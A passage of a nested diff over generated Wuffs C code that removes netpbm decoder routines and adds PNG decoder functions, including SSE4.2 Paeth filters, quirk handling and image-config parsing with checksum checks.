-+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_x128 = _mm_packus_epi16(v_x128, v_x128); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ } -+ v_curr.len = 0; -+ v_prev.len = 0; - } -- return wuffs_base__make_slice_u8(self->private_data.f_output, 0); -+ return wuffs_base__make_empty_struct(); - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) -- --// ---------------- Status Codes Implementations -- --const char wuffs_netpbm__error__bad_header[] = "#netpbm: bad header"; --const char wuffs_netpbm__error__truncated_input[] = "#netpbm: truncated input"; --const char wuffs_netpbm__error__unsupported_netpbm_file[] = "#netpbm: unsupported Netpbm file"; --const char wuffs_netpbm__note__internal_note_short_read[] = "@netpbm: internal note: short read"; -- --// ---------------- Private Consts -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_netpbm__decoder__do_decode_image_config( -- wuffs_netpbm__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_netpbm__decoder__do_decode_frame_config( -- wuffs_netpbm__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_netpbm__decoder__do_decode_frame( -- wuffs_netpbm__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+// -------- func png.decoder.filter_4_distance_4_x86_sse42 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_netpbm__decoder__swizzle( -- wuffs_netpbm__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -- --// ---------------- VTables -- --const wuffs_base__image_decoder__func_ptrs --wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_netpbm__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_netpbm__decoder__frame_dirty_rect), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_netpbm__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_netpbm__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_netpbm__decoder__restart_frame), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_netpbm__decoder__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_netpbm__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_netpbm__decoder__workbuf_len), --}; -- --// ---------------- Initializer Implementations -- --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_netpbm__decoder__initialize( -- wuffs_netpbm__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_4_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ __m128i v_x128 = {0}; -+ __m128i v_a128 = {0}; -+ __m128i v_b128 = {0}; -+ __m128i v_c128 = {0}; -+ __m128i v_p128 = {0}; -+ __m128i v_pa128 = {0}; -+ __m128i v_pb128 = {0}; -+ __m128i v_pc128 = {0}; -+ __m128i v_smallest128 = {0}; -+ __m128i v_z128 = {0}; - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -+ v_pa128 = _mm_sub_epi16(v_b128, v_c128); -+ v_pb128 = _mm_sub_epi16(v_a128, v_c128); -+ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -+ v_pa128 = _mm_abs_epi16(v_pa128); -+ v_pb128 = _mm_abs_epi16(v_pb128); -+ v_pc128 = _mm_abs_epi16(v_pc128); -+ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -+ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ v_c128 = v_b128; -+ v_x128 = _mm_packus_epi16(v_x128, v_x128); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -+ v_pa128 = _mm_sub_epi16(v_b128, v_c128); -+ v_pb128 = _mm_sub_epi16(v_a128, v_c128); -+ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -+ v_pa128 = _mm_abs_epi16(v_pa128); -+ v_pb128 = _mm_abs_epi16(v_pb128); -+ v_pc128 = _mm_abs_epi16(v_pc128); -+ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -+ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ v_c128 = v_b128; -+ v_x128 = _mm_packus_epi16(v_x128, v_x128); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; - } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -+ v_pa128 = _mm_sub_epi16(v_b128, v_c128); -+ v_pb128 = _mm_sub_epi16(v_a128, v_c128); -+ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -+ v_pa128 = _mm_abs_epi16(v_pa128); -+ v_pb128 = _mm_abs_epi16(v_pb128); -+ v_pc128 = _mm_abs_epi16(v_pc128); -+ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -+ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ v_c128 = v_b128; -+ v_x128 = _mm_packus_epi16(v_x128, v_x128); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; - } -+ v_curr.len = 0; -+ v_prev.len = 0; - } -- -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder); -- return wuffs_base__make_status(NULL); --} -- --wuffs_netpbm__decoder* --wuffs_netpbm__decoder__alloc(void) { -- wuffs_netpbm__decoder* x = -- (wuffs_netpbm__decoder*)(calloc(sizeof(wuffs_netpbm__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_netpbm__decoder__initialize( -- x, sizeof(wuffs_netpbm__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -- } -- return x; --} -- --size_t --sizeof__wuffs_netpbm__decoder(void) { -- return sizeof(wuffs_netpbm__decoder); -+ return wuffs_base__make_empty_struct(); - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --// ---------------- Function Implementations -- --// -------- func netpbm.decoder.get_quirk -+// -------- func png.decoder.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__get_quirk( -- const wuffs_netpbm__decoder* self, -+wuffs_png__decoder__get_quirk( -+ const wuffs_png__decoder* self, - uint32_t a_key) { - if (!self) { - return 0; -@@ -49804,15 +62628,18 @@ wuffs_netpbm__decoder__get_quirk( - return 0; - } - -+ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -+ return 1u; -+ } - return 0u; - } - --// -------- func netpbm.decoder.set_quirk -+// -------- func png.decoder.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__set_quirk( -- wuffs_netpbm__decoder* self, -+wuffs_png__decoder__set_quirk( -+ wuffs_png__decoder* self, - uint32_t a_key, - uint64_t a_value) { - if (!self) { -@@ -49825,15 +62652,20 @@ wuffs_netpbm__decoder__set_quirk( - : wuffs_base__error__initialize_not_called); - } - -+ if (a_key == 1u) { -+ self->private_impl.f_ignore_checksum = (a_value > 0u); -+ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, a_key, a_value); -+ return wuffs_base__make_status(NULL); -+ } - return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func netpbm.decoder.decode_image_config -+// -------- func png.decoder.decode_image_config - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__decode_image_config( -- wuffs_netpbm__decoder* self, -+wuffs_png__decoder__decode_image_config( -+ wuffs_png__decoder* self, - wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { - if (!self) { -@@ -49859,53 +62691,364 @@ wuffs_netpbm__decoder__decode_image_config( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func png.decoder.do_decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__do_decode_image_config( -+ wuffs_png__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint64_t v_magic = 0; -+ uint64_t v_mark = 0; -+ uint32_t v_checksum_have = 0; -+ uint32_t v_checksum_want = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; -+ if (coro_susp_point) { -+ v_checksum_have = self->private_data.s_do_decode_image_config.v_checksum_have; -+ } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -+ if (self->private_impl.f_call_sequence != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } else if ( ! self->private_impl.f_seen_ihdr) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_0 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 56) { -+ t_0 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_magic = t_0; -+ } -+ if (v_magic != 727905341920923785u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint64_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_1 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 56) { -+ t_1 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ v_magic = t_1; -+ } -+ if (v_magic != 5927942488114331648u) { -+ if (v_magic == 5278895250759221248u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_cgbi_extension); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ goto exit; -+ } -+ self->private_impl.f_chunk_type_array[0u] = 73u; -+ self->private_impl.f_chunk_type_array[1u] = 72u; -+ self->private_impl.f_chunk_type_array[2u] = 68u; -+ self->private_impl.f_chunk_type_array[3u] = 82u; -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -+ while (true) { -+ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_2 = wuffs_png__decoder__decode_ihdr(self, a_src); -+ v_status = t_2; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if ( ! self->private_impl.f_ignore_checksum) { -+ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)); -+ } -+ } -+ v_checksum_want = t_3; -+ } -+ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -+ goto exit; -+ } -+ self->private_impl.f_seen_ihdr = true; -+ } else if (self->private_impl.f_metadata_fourcc != 0u) { -+ self->private_impl.f_call_sequence = 16u; -+ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -+ goto ok; -+ } - while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -+ continue; -+ } -+ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); -+ if (self->private_impl.f_chunk_type == 1413563465u) { -+ if ( ! self->private_impl.f_seen_actl || self->private_impl.f_seen_fctl) { -+ break; -+ } -+ self->private_impl.f_seen_idat = true; -+ } else if (self->private_impl.f_chunk_type == 1413571686u) { -+ if (self->private_impl.f_seen_idat && self->private_impl.f_seen_fctl) { -+ break; -+ } -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ iop_a_src += 8u; -+ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { -+ self->private_impl.f_chunk_type_array[0u] = ((uint8_t)((self->private_impl.f_chunk_type >> 0u))); -+ self->private_impl.f_chunk_type_array[1u] = ((uint8_t)((self->private_impl.f_chunk_type >> 8u))); -+ self->private_impl.f_chunk_type_array[2u] = ((uint8_t)((self->private_impl.f_chunk_type >> 16u))); -+ self->private_impl.f_chunk_type_array[3u] = ((uint8_t)((self->private_impl.f_chunk_type >> 24u))); -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -+ } -+ while (true) { -+ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_4 = wuffs_png__decoder__decode_other_chunk(self, a_src, false); -+ v_status = t_4; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { -+ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -+ } -+ if (self->private_impl.f_metadata_fourcc != 0u) { -+ self->private_impl.f_call_sequence = 16u; -+ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -+ goto ok; -+ } - { -- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_image_config(self, a_dst, a_src); -- v_status = t_0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ uint32_t t_5; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -+ if (num_bits_5 == 24) { -+ t_5 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_5 += 8u; -+ *scratch |= ((uint64_t)(num_bits_5)); -+ } -+ } -+ v_checksum_want = t_5; - } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); -+ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u) && (v_checksum_have != v_checksum_want)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); - goto exit; - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -+ if ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte) { -+ status = wuffs_base__make_status(wuffs_png__error__missing_palette); -+ goto exit; -+ } -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ self->private_impl.f_first_config_io_position = self->private_impl.f_frame_config_io_position; -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ self->private_impl.f_dst_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_first_config_io_position, -+ ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns)); -+ } -+ if ( ! self->private_impl.f_seen_actl) { -+ self->private_impl.f_num_animation_frames_value = 1u; -+ self->private_impl.f_first_rect_x0 = 0u; -+ self->private_impl.f_first_rect_y0 = 0u; -+ self->private_impl.f_first_rect_x1 = self->private_impl.f_width; -+ self->private_impl.f_first_rect_y1 = self->private_impl.f_height; -+ self->private_impl.f_first_duration = 0u; -+ self->private_impl.f_first_disposal = 0u; -+ self->private_impl.f_first_overwrite_instead_of_blend = false; -+ } -+ self->private_impl.f_call_sequence = 32u; - - ok: -- self->private_impl.p_decode_image_config[0] = 0; -+ self->private_impl.p_do_decode_image_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_image_config.v_checksum_have = v_checksum_have; - - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -+ - return status; - } - --// -------- func netpbm.decoder.do_decode_image_config -+// -------- func 